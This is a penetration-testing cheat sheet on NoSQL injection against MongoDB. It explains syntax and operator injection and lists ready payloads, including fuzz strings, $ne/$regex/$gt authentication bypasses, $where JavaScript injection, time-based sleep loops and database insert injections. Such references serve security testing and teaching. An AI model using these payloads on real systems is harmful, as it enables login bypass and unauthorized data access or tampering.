NoSQL Injection (NoSQLi)

NoSQL injection is a vulnerability where an attacker is able to interfere with the queries that an application makes to a NoSQL database. It may enable an attacker to bypass authentication or protection mechanisms, extract or edit data, cause a denial of service, and execute code on the server. There are two types of NoSQL injections: syntax injection and operator injection.

NoSQL databases use a wide range of query languages instead of standard SQL.

See MongoDB.

NoSQL Syntax Injection

Occurs when you can break the NoSQL query syntax, enabling you to inject your own payload (similar to SQL injection). However NoSQL databases use a range of query languages, types of query syntax, and different data structures.

Detection

If you know the API language of the target database, use special characters and fuzz strings that are relevant to that language. Otherwise, use a variety of fuzz strings to target multiple API languages.

Try inserting a quote. Try escaping the quote to see if the error is fixed.

x=whatever'
x=whatever\'

MongoDB & JavaScript

Fuzz the parameter:

' " \ ; { }
'"`{
;$Foo}
$Foo \xYZ

URL-encoded

x=whatever'%22%60%7b%0d%0a%3b%24Foo%7d%0d%0a%24Foo%20%5cxYZ%00

Conditional behavior

x=<@urlencode>whatever' && 0 && 'x<@/urlencode>
x=<@urlencode>whatever' && 1 && 'x<@/urlencode>
x=whatever'||1||'

JSON format

{"x": "'\"`{\r;$Foo}\n$Foo \\xYZ\u0000"}

NoSQL Operator Injection

Occurs when you can use NoSQL query operators to manipulate queries.

Detection

Submit different operators into a range of user inputs, then review the responses for error messages or other changes. Test each input with a range of operators.

MongoDB & JavaScript

  • $where – Matches documents that satisfy a JavaScript expression.
  • $ne – Matches all values that are not equal to a specified value.
  • $in – Matches all of the values specified in an array.
  • $regex – Selects documents where values match a specified regular expression.

DATA (URL-encoded) – Content-Type: application/x-www-form-urlencoded

If it does not work, convert the request method from GET to POST. Change the Content-Type header to application/json. Add JSON to the message body. Inject query operators in the JSON.

username[$ne]=invalid&password[$ne]=invalid
username[$regex]=admin.*&password[$ne]=null

JSON format – Content-Type: application/json

{"username":{"$ne":"invalid"},"password":{"$ne":"invalid"}}
{"username":{"$in":["admin","administrator","superadmin"]},"password":{"$ne":""}}
{"username":{"$regex":"admin.*"},"password":{"$ne": null}}

Payloads

in DATA
username[$ne]=toto&password[$ne]=toto
login[$regex]=a.*&pass[$ne]=lol
login[$gt]=admin&login[$lt]=test&pass[$ne]=1
login[$nin][]=admin&login[$nin][]=test&pass[$ne]=toto

in JSON
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1'
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{$nin: [""]}}
' 
"
\
/
//
; 
{
} 
: